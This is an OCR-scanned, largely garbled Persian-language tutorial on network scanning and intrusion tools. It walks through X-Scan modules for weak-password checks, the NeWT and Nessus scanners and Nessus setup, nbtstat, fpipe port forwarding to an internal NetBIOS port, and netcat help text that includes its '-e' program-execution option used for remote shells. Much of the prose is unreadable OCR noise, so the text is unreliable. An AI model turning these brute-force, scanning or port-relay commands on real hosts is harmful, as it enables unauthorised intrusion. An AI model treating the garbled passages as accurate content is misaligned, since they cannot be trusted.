lug-n 0K and the sample phao-in code from this ek “hittp: Dlsssnw. sfacus, net /projects-Scan frcde

3. Componants:

=
e

|

A Sl as sla e ) a€ aodlu | )L S aS xgcan gui AU 4 ol sala (5 S dadl ) S ) la X-Scan 4wl
O Oeplad ) el Jlanal A€ aiaa b B sl iuga ) glejd il adi e 48 Xscan pb 4 gl bl

(S e o2l
C:\X-Scan-v3.1>xscan.exe

Usage: xscan -host <startIP>[-<endIP>] <module> [option]
xscan -file <host_list_file> <module> [option]

<module> means:
-active : check if the target host is active
-port : check the status of tcp port
-smb  : check NT-Server weak password
-netbios : check Netbios information
-snmp : check SNMP information

-0s : check target OS version
-ftp  : check FTP-Server weak password
-pub  : Check anonymous pub write permission

-pop3 : check POP3-Server weak password
-smtp : check SMTP-Server vulnerability
-sql  : check SQL-Server weak password
-iis  : check IIS encode/decode vulnerability
-cgi  :check cgi vulnerability

-nasl :load Nessus Attack Scripts

-all  : check all vulnerability

[option] means:
-i <interface_number>: set network interface
-1: list network interface to get the <interface number>
-v: display verbose information
-p: skip host when no response
-0: skip host when no opened port be found
-t <thread count[,host_count]>: specify the maximal thread count and host count, default is 100,10
-log <report_file>: specify the report filename, text or html format

Example:
xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -all
xscan -host xxx.xxx.1.1-xxx.xxx.254.254 -port -smb -p -t 100
xscan -file host.Ist -port -cgi -t 100,5 -v -0
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4S50 i b5 O Ol o QSR IS 6 (i 50 Ladk IS S8 4l 4S 38200 el JES (51 e 4o s st o la) e ok 4ds
A O 5 A (5 5 g b Gl 5 Sl oIk @l Cle i ad sl 4l aS aiS b (Js ¢ gled lad sl 4l ) Sl
il Sl ) (5 S ol (Sae " ALy " O3Sy 5 Al S el Y L e aS adaila 3 50eS g o kg 5o (Sadl S (sla
Lol S Ladi (xscan_ gui) s bS Tl 4S aiS il | ol i€ sdliind e lad ) Cand jien s 28 a1 adiad e
L 4l gea S alag) e el adi (gl 1) ol S Oled Jalae 4l (pl Gl 8 5 08 5 O aadati L L (0 g2 4l o 2 64 45 )
e e Le 4y (Sl 8 a5 3 5800 lad o aalin s lisa 1) Lealsa 5,280 | a) dasann Cadly 5015 gla g
ol Y F/F/YO Jle 2l ¥, lad aiSa S8 V1 AS B A (e AT 358 Yo /N Y)Y e Al s () s ol )
Dl ) IS 50 g Al (il )2 D) sl (oa gae S

C:\>xscan -host <startIP>[-<endIP>] <module> [option]

C:\>xscan -file <host list file> <module> [option]
L S aa <module> s 43 2w giae ) (SL 8 sla TP L TP Wb <startIP>[-<endIP>] sl 4 ol al g DS s ded a0
A e | 530 jled Jgan e g 3 So aiuily o 3Y S aa [option] Gl 4 5 aasie 1)) oled Joaa sl ggm ) aslae

2 Y oled Jgaa
o So A Ll YL Ll 4l 4 Led aS TPl Wl S oS j0 aS cud ol (6 -active \
e ld dane 4dli y 4 1) TP ) Sa (85 ). aladl | Ping dee (et (o
(C'_u\
@\Akfv‘f&ageﬁ&a‘)\eﬁﬁJAS_\AGQ&_}&\JTCPd\AQJyugMJ -port A\t
55a iy a0 1 SYN o pailSe 40l 5 S sa ol
a5 JalS 1axy S SMB IS5 0 s SIS ) g (sl 4alS (50 ) o sy (51 5 -smb Y

il 2 23 5 ol o i (510 4S 250 ) ol Al 5 338 oasbasl NS (5 pas S p e
] ASae s ab S5

e dad &) ea pnaidl 3yl e Gy NetBIOS ook o Gle Sl (5w S -netbios ¥
Al 5 2l Jlad g e () Sl 4S Casl dms W) 5 510 Adla j 050 ) 0
A3 Sae ab IS g 5 ol (sl o yis Jliia

A e g 1 oMW o i 3 ga g s s JS3 5 5 cal a0 Jlad &) e 0 -snmp
b3 Nmap ) 2 23S iS ) ) dale sl g 3 93938 a0l g adiui o jlad 280 2w -0S 7

G ) sy S 1 dele s () (5la o (RS (51 44 5 Cand a3 GBS
e (dale s )3 33 g0 sla o yis (IS

Brute p 5o 1 s U gersme () 028 8l Uy iulin |5 IS5 0 Asb 52 “fip v
03 50 W o ia CalS A b jia () p aldl 5 2S CASS ) ) sue A4S 280w o2 Force
A e S ab JSS 5

L <31 (anonymous) (bl (ous i o jlal Cile o Ll 48 2y 23800 ile 51 S -pub A
30 alail o jia 2IS gl Gligy s S Shiil 5

s O GaS Adlial bl S g 5D sy (8 53ka ) Al (IS JSS g () sa -POP3 q

00 o) s o jia S () g Glsy 5 m S 4l g pug e Gl G JRE G a2

sl e sa E-Mail glas by S s 53800 Sy il )3 5 Jls ) dS3 55 Olad 0l 53 -smtp )
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NeWT Security Scanner

Walcome to Tenable NeWT Security Scanner

HeWT 5 a3 comolete nateark suinarabdity scanner which indusdes hgh-speed checks
for morg than 4,000 of Hha most commanly updated sulnerabibes, 2 wide vanaty of

03 raw Sean Task sCanning optons, an easy-ta-use rterface, and effective reporting.

£ View Repars Wil CAM SEAM @ new scan by selechng "New scan fask’. All scan resuls wil be

sutomaticaly saved, and you can open them again by seloting “view raparts’.

= configura fewT
Haw Scan Task

Mher Gplions

R Adddress Boak 8 viow reparts

W Managa Plugins B corfagure NawT

W Update Fugins

San Also
o NaWT Help

O about NeWwT

i A ol g Ladl g (5 ) 11aiSan A 55 (ol (oo 158 (s | (i 53 Al e R0 ¢ (IS sl VL Ble b () osa
Ol 48 bl Lal " aiS g 15 C oS sl TP pddae s 3lal Jsana col G501 45 5o Ladi 4y 0a " 2 5Se 48l () 4alS 281
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DGl ) al e A Gl NeWTCmd b 4z 4nls  Jid ) (oYL Jie s a8 al (5 )18 daal ) SG 61l aa 4l s cpl

C:\Tenable\NeWT>NeWTCmd.exe
NeWTCmd 2.1 -- Copyright (C) 2003 - 2004 Tenable Network Security

Usage: NeWTCmd [scan target] <plugin set name>
Please use quotation mark if the name of the plugin set contains whitespace.
If no plugin set specified, 'allsafe' will be used by default.

Examples are:

NeWTCmd localhost allsafe

NeWTCmd 192.168.0.1-192.168.0.10 all
NeWTCmd 192.168.0.1-192.168.0.10 "Port Scan"

Gl of Sl 5 (e 4805 X-Scan 3 2 (Alaa) 48 dpegdie amy 2380 Al S (YL 18 a3 L o) 4S s ) ol
ERSRARS IS Sl e 23l salai ) 8 Nessus
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Tenable Vulnerability

< NeWT Security Scanner - Remeaiation

Tenable NeWT

Please enter the target you want to scan

@ Welcome You can specify a single host{hostname or IP), a list of hosts separated

by comma, an IP range, or a network address, (See Examples
@ Mew Scan Task i : i I: les)
; For frequently used addresses, Address Book can help you to manage
% view Reports them (address book entries will show up in the drop down list below).

Configure MNe'WT If you want to import target from a file instead, click Here,

Other Options
%} Address Book

|21?.21B.19?‘.8 ||-|

"EE’ Manage Plugins

Dot I x]

d, L E You can only scan local dass C netwrk with this license

Ly

Lpdate Flugins

See Also
@ NewT Help

A About NewWT
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Copyright @ 2003-2004 Tenable Hetwork Security, A1 rights résenved, |
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S G S Eebbogd e s
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nmap s GTK & GIMP Toolkit o sie L 5% 4wl 53 uai o jliuae zendi () Gaad a0iS G )y Uy Gl Al Jaa 8 ) U8
Aol a3V 1 ada e o) 23l ea S QLA (e sl 4 8 5 oS dale diisa o b S5l Cuai alse R Lad Y sena 4S il
uai 558 )L shie 43 Nessus-plugins s Nessus-core s Nessus-libraries cxsbie L calise (B jlea 53 Nessus 4l
) a5 JabwalS ¢ 58 alailind da) je (oo e s i & s34 G)l ) Sy 8 Gash 3l Nessus 4ebi Gual Cul sadi e
lE a4kl p ol 28lue (<l Mack install s Mack ¢« configure iz ¢ 4da sy (el 3 (s a1 2 jle s ji4n o Jal e aS
e 2l 8 5025 Sl 3 e (sla S A0S Juld 48 3 gfe e Nessus-installer.sh o) sie U 5 shell 2 die el )l (So4S o e
adlaa ol ¢ .\..'1\od\dc...\.;bjjg._a}';\)g._\m.jda\)unrz_c()mC_\;:Lu)JJ\JdLﬁ‘Aﬁ\.’g\d&@@_ﬁswdﬂw&tﬂ‘ﬁ;@\)

D piSae (sl 35 Alal i) g a5 abdne ) 8 358 allie o)) o S s 5Dl

http://www.tur2.com/articles/n13810631.htm : 4l Sad

;(im\DMGJ\AJPﬁJGMQJJJ‘}\jdu»\aﬁaﬁjjiu\.l)g;.uajwkﬁé)d&agl«
SpuiS o S ek
Wio . ugiiswo d)lg 05, sgdugls gl o, Ju1B aS (S,958 uls @ 9 05,5 50U 9, S shell Vs .awl 05,5 login juSeid @y super-user  suss root g0 55 3L Vel

ungicsw (ylos,S sedugls 9, Jy8 /root/Desktop s 3|
# cd /root/Desktop

Iagicse 9y, sgiws V>

# sh nessus-installer.sh
W0 S axsno dw,uo L @ aS sbo aag Hsil aSiul hsd alisos SU axan ail) sbo o5 aiig 9 oo SU axan alolB\y

Welcome to the Nessus Installation Script !
This script will install Nessus 2.0.7 (STABLE) on your system.

Please note that you will need root privileges at some point so that

the installation can complete.

Nessus is released under the version 2 of the GNU General Public License

(see http://www.gnu.org/licences/gpl.html for details).

To get the latest version of Nessus, visit http://www.nessus.org

Press ENTER to continue
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o 5 oo 9 0 Sb axes 9 Ao ALy Wy 9 Oy Syw A auddcsw ,Lad g, Enter aoSs

Nessus installation : installation location

Where do you want the whole Nessus package to be installed ?

[/usr/local]

o ) Bdgs 9 e Sk axss Vs .aliy wuas fust/local csiss uo,9 i J=x0 55 aS ey HLind g, Enter aoSs Lo SouS wuas (=S g, Nessus aS aSyo ol

Nessus installation : Ready to install

Nessus is now ready to be installed on this host.

The installation process will first compile it then install it

Press ENTER to continue
W0 U bo Uex sy i bl Tl Wl ) pody pecs wuxll a8 aiSie Job i oSy agdsoul sy iScso Vb Lalb @ ggrd UL 9 Wy LB5L
QS cobiwl asds U 9 o VeI awly w4 pegicw Yo (asSs Obs o) WEISE o)l (swgy) Mol eSise wal by Silegil

line ,alb ;5 Axbo (A pgel i LS (sidg

Nessus installation : Finished

Congratulations ! Nessus is now installed on this host

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert
Add a nessusd user use /usr/local/sbin/nessus-adduser

Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D
Start the Nessus client (nessus) use /usr/local/bin/nessus

To uninstall Nessus, use /usr/local/sbin/uninstall-nessus

Remember to invoke 'nessus-update-plugins' periodically to update your

list of plugins

A step by step demo of Nessus is available at

http://www.nessus.org/demo/

Press ENTER to quit
pdes0 gwogi S 0,15 (oo wleMbl 31 axin ol .auiu pged wuas aS Ay Enter a4,

ZQQ|QLx?¢Hb|




s Jau 5 4o g3, 0 & Vo3V 1,5 B an 9 S 25 9a

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert
L PAail)QI SO Shell Pr) o Uk
# /usr/local/sbin/nessus-mkcert

tauiue b 5 e 9 03w Sb axas (pwi Enter (sudg

This script will now ask you the relevant information to create the SSL
certificate of Nessus. Note that this information will *NOT* be sent to
anybody (everything stays local), but anyone with the ability to connect to your

Nessus daemon will be able to retrieve this information.

CA certificate life time in days [1460]:
1) Wygo A LAy peed certification sleyl IS U awsswe wwiy @ Enter b £ LS 31 b lugos Sl
CA certificate life time in days [1460]:
Server certificate life time in days [365]:
Your country (two letter code) [FR]:
Your state or province name [none]:
Your location (e.g. town) [Paris]:
Your organization [Nessus Users United]:

o ) axbo A

Congratulations. Your server certificate was properly created.

/usr/local/etc/nessus/nessusd.conf updated

The following files were created

Certification authority
Certificate = /usr/local/com/nessus/CA/cacert.pem

Private key = /usr/local/var/nessus/CA/cakey.pem

Nessus Server
Certificate = /usr/local/com/nessus/CA/servercert.pem

Private key = /usr/local/var/nessus/CA/serverkey.pem

Press [ENTER] to exit
A pgei LS U euisesw pd g, Enter U.J)>T V>
Paigi aS pusS Cw)d NESSUS Hg,w S, User Sy wb Vs . ous,S wow)> Nessus sl SSL Certificate o 9 ou5,S 1>l g, nessus-installer.sh oo V> U lo

oS oslawl 55 Heiws 5,80l Sy ewsS login l38le 0 @ gl (8,b 5l lasy
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# /usr/local/sbin/nessus-adduser
tainn Hob 5 i Hgiws ol Sh=l paxe 4

Add a new nessusd user

Login
Dlo 5 slaw a2 g puScsw 3,09 95 M3 3,90 powl .S >)ls Username S susy ol
Authentication (pass/cert) [pass]
3o 55 shw a2y Aigay PASS (sum) UoOU Ugad aS euisese ENter bo il (s caziwiingd Giug) oy 0l
Login password
Sygaay 0SS 3)l9 8890 * LaSLIS 5l ) s 95 300 Y s @y oS5 @y a2y cciwly @ ol @y a2y e @ 05 @y Jsl oS 359 95 5390 oSl Syeay b el
(Lousssl s 95 powbio pod Awly s (Syus
1o b o ol Vs
User rules

nessusd has a rules system which allows you to restrict the hosts
that ali has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser (8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done
(the user can have an empty rules set)
Llad g, ctrl-D Sy g o o3V Med sy (puiS 90 gy S Sewl Wgicsw aS uldls awls aS pwS waei User auwlg Rules Sy,w @y aliuoe =il

tatine ,alb ol Y puscso

Login I XXXXXXXXXX
Password ©YYYYYYYYY
DN

Rules

Is that ok ? (y/n) [yl
- peei IS aS puijesw Enter a

i cwas il Guod 4y NESSUS 15810, oS s Sy

SpuiS >l |, nessus S,9b> V> 05,5 i 9,191,050 -

nessus wgl a4y as Nessus ;9w US,S >l Sl .0uS >l 9, NEssus Hg,w 1L Jgl (auS oslaiwl Nessus 5l ¢ulgsy a8l (LS sw restart g, iguolS as ;b ,a -)
PSSO 9 1 H9iwd (S s Nessusd anMs JSLw a4y L daemon
# /usr/local/sbin/nessusd -D
S Sslwlel, nessus g, w s, ool @
139w oslaswl s seiws 51 LB Gl Shy S =l puigicso ulsse aS CiMS U iz 10 aSil ppo aSS puiSeso b2l g, wiMS V> -
# /usr/local/bin/nessus

il ]y 5S8LS s 5l oslaiwl s ASese IS pd csiio il 5> NESSUS AS 3,iS azgi .aiamo ol 1810y 0,2y seiws el Shal b
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NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
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: Ipconfig Jgius
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: Nbtstat clad
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C:\>nbtstat

Displays protocol statistics and current TCP/IP connections using NBT
(NetBIOS over TCP/IP).

NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-RR] [-s] [-S] [interval] ]

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its

IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP
addresses
-n (names) Lists local NetBIOS names.
-r (resolved)  Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table

-S (Sessions)  Lists sessions table with the destination IP addresses
-s (sessions)  Lists sessions table converting destination IP
addresses to computer NETBIOS names.
-RR (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh

RemoteName Remote host machine name.

IP address Dotted decimal representation of the IP address.

interval  Redisplays selected statistics, pausing interval seconds
between each display. Press Ctrl+C to stop redisplaying
statistics.

: Getmac U3
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: Fpipe J13d
1 st dae ol | g g g o ol g3 50 21 8 (s Client Cpile yaae st () S

PiSae ealia |y ) IS (ol Help g glot ) —h gism b 4slin cul o) D amy
C :\> fpipe.exe —h

-?/-h -show this help test.

-C - maximum allowed simultaneous TCP connection. Defaults is 32
-1 - listening interface IP Address.

-1 - remote port number

- - outbound source port number.

-u - UDP mode.

-v - Verbose mode.

UDP sl Q)}gd\)g_u@yé&gad’ew \)J\Sdé)ﬁ#gb\:ﬁ)';_\/@yuMU);@LJSA)LJJ\JL;}LU&LQ@;g)&
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D aen siae ) shaie cpl (51 5
C :\> fpipe -1 9080 —r 80 www.google.com
Pipe connected:
In: 127.0.0.1: 1917 > 127.0.0.1 : 9080
Out : 192.168.0.148 :1972 ->  216.239.33.101 : 80
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C:\> fpipe -1 139 —r 139 s 88 192.168.97.154
ol i ) 3 IS 0l S de a2l 8y (B2 5A 4r o lisd | NetBIOS Sl i 4S o) 4l 503 (e 4S 258 88 Jlia cpl 4o Jsl o500 L il
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% cmd

Microzoft Windows XEP [Verzion 5.1.268061
(C>» Copyright 1985-2801 Microsoft Corp.
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:h: ped: command not found
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- Net Cat JalS a6 L L NC 1) (A jme ¢ adidi darass
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C:\amir>nc -h

[v1.10 NT]

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:  nc -1 -p port [options] [hostname] [port]
options:

-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway  source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...

-h this cruft

-1 secs delay interval for lines sent, ports scanned
-1 listen mode, for inbound connects

-L listen harder, re-listen on socket close

-n numeric-only IP addresses, no DNS

-o file hex dump of traffic

-p port local port number

-r randomize local and remote ports

-s addr local source address

-t answer TELNET negotiation

-u UDP mode

-V verbose [use twice to be more verbose]
-W secs timeout for connects and final net reads
-z zero-1/0 mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]
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